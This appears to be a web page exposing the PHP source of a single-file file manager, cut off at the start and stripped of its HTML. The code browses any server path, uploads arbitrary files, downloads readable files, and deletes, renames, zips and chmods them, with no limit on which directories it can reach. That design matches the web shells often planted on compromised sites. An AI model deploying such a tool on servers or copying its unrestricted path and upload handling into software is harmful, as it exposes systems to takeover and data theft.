Login

'); } $current_dir = realpath(isset($_GET['path']) ? $_GET['path'] : '.'); if (!$current_dir || !is_dir($current_dir)) { $current_dir = realpath('.'); } $message = ''; if (isset($_SESSION['message'])) { $message = $_SESSION['message']; unset($_SESSION['message']); } function format_bytes($bytes) { if ($bytes > 0) { $i = floor(log($bytes, 1024)); return round($bytes / pow(1024, $i), [0,2,2,2,2][$i]) . ['B','KB','MB','GB','TB'][$i]; } return '0 B'; } function get_perms($path) { return substr(sprintf('%o', fileperms($path)), -4); } function recursive_delete($dir) { if (!is_dir($dir)) return false; $files = array_diff(scandir($dir), ['.','..']); foreach ($files as $file) { (is_dir("$dir/$file")) ? recursive_delete("$dir/$file") : unlink("$dir/$file"); } return rmdir($dir); } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) { $action = $_POST['action']; if ($action === 'zip_selected') { if (!empty($_POST['selected_items'])) { if (!class_exists('ZipArchive')) { $_SESSION['message'] = 'Error: ZipArchive class not found.'; } else { $zip_filename = 'archive-' . date('Y-m-d-His') . '.zip'; $zip_filepath = $current_dir . '/' . $zip_filename; $zip = new ZipArchive(); if ($zip->open($zip_filepath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { foreach ($_POST['selected_items'] as $item) { $item_path = $current_dir . '/' . $item; if (!file_exists($item_path)) continue; if (is_file($item_path)) { $zip->addFile($item_path, $item); } elseif (is_dir($item_path)) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($item_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = $item . '/' . substr($filePath, strlen($item_path) + 1); $zip->addFile($filePath, $relativePath); } } } } $zip->close(); $_SESSION['message'] = 'Archive "' . htmlspecialchars($zip_filename) . '" created successfully.'; } else { $_SESSION['message'] = 'Error: Archive could not be created.'; } } } else { $_SESSION['message'] = 'No file selected.'; } } elseif ($action === 'delete_selected') { if (!empty($_POST['selected_items'])) { $deleted_count = 0; foreach ($_POST['selected_items'] as $item) { $item_path = $current_dir . '/' . $item; if (!file_exists($item_path)) continue; if (is_dir($item_path)) { if (recursive_delete($item_path)) { $deleted_count++; } } elseif (is_file($item_path)) { if (unlink($item_path)) { $deleted_count++; } } } $_SESSION['message'] = $deleted_count . ' items deleted successfully.'; } else { $_SESSION['message'] = 'No items selected for deletion.'; } } else { $target_base = isset($_POST['target']) ? $_POST['target'] : null; $target = $target_base ? realpath($current_dir . '/' . $target_base) : null; if ($action === 'upload' && isset($_FILES['file'])) { if ($_FILES['file']['error'] == UPLOAD_ERR_OK) { $dest = $current_dir . '/' . basename($_FILES['file']['name']); if (file_exists($dest) && !is_writable($dest)) { $_SESSION['message'] = 'Error: Destination file exists and is not writable.'; } elseif (!is_writable($current_dir)) { $_SESSION['message'] = 'Error: No write permission for directory.'; } else { if (@move_uploaded_file($_FILES['file']['tmp_name'], $dest)) { $_SESSION['message'] = 'File uploaded successfully.'; } elseif (@copy($_FILES['file']['tmp_name'], $dest)) { @unlink($_FILES['file']['tmp_name']); $_SESSION['message'] = 'File uploaded successfully (via copy).'; } else { $err = error_get_last(); $_SESSION['message'] = 'File could not be moved. System error: ' . (isset($err['message']) ? $err['message'] : 'Unknown'); } } } else { $codes = [ UPLOAD_ERR_INI_SIZE => 'File size exceeds php.ini limit', UPLOAD_ERR_FORM_SIZE => 'File size exceeds form limit', UPLOAD_ERR_PARTIAL => 'File uploaded partially', UPLOAD_ERR_NO_FILE => 'No file sent', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write to disk', UPLOAD_ERR_EXTENSION => 'Extension stopped the upload' ]; $msg = isset($codes[$_FILES['file']['error']]) ? $codes[$_FILES['file']['error']] : 'Unknown error (' . $_FILES['file']['error'] . ')'; $_SESSION['message'] = 'Upload error: ' . $msg; } } elseif ($action === 'delete' && $target && $target_base) { if (is_dir($target)) { recursive_delete($target); } else { unlink($target); } $_SESSION['message'] = htmlspecialchars($target_base) . ' deleted.'; } elseif ($action === 'rename' && $target && $target_base && isset($_POST['new_name'])) { $new_name = basename($_POST['new_name']); if ($new_name) { if (rename($target, $current_dir . '/' . $new_name)) { $_SESSION['message'] = 'Rename successful.'; } else { $_SESSION['message'] = 'Rename failed.'; } } } elseif ($action === 'chmod' && $target && $target_base && isset($_POST['new_perms'])) { $new_perms = $_POST['new_perms']; if (preg_match('/^[0-7]{3,4}$/', $new_perms)) { if (@chmod($target, octdec($new_perms))) { $_SESSION['message'] = htmlspecialchars($target_base) . ' permissions set to ' . htmlspecialchars($new_perms) . '.'; } else { $_SESSION['message'] = 'Permissions could not be changed.'; } } else { $_SESSION['message'] = 'Invalid permission code.'; } } } header('Location: ' . basename(__FILE__) . '?path=' . urlencode($current_dir)); exit; } if (isset($_GET['download'])) { $file = realpath($current_dir . '/' . $_GET['download']); if ($file && is_file($file) && is_readable($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } } $items = scandir($current_dir); $folders = []; $files = []; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $current_dir . '/' . $item; if (is_dir($path)) { $folders[] = $item; } else { $files[] = $item; } } ?> <?php echo htmlspecialchars($page_title); ?>

Logout
Name Size Permissions Modified Actions
.. Parent Directory
-

Upload File

No file selected